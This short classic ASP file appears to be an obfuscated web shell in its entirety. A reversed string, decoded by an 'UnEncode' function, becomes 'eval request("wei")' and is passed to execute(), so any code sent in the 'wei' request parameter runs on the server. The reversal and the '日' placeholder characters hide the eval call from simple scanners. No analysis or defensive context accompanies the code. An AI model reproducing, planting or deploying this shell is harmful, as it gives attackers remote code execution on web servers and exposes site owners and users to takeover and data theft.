<%wei="日日日)""wei""(tseuqer lave 日"execute(UnEncode(wei))function UnEncode(cc)    for i = 1 to len(cc)        if mid(cc,i,1)<>"日" then            temp = Mid(cc, i, 1) + temp                else            temp=vbcrlf&temp                end if                next                    UnEncode=temp                end function%>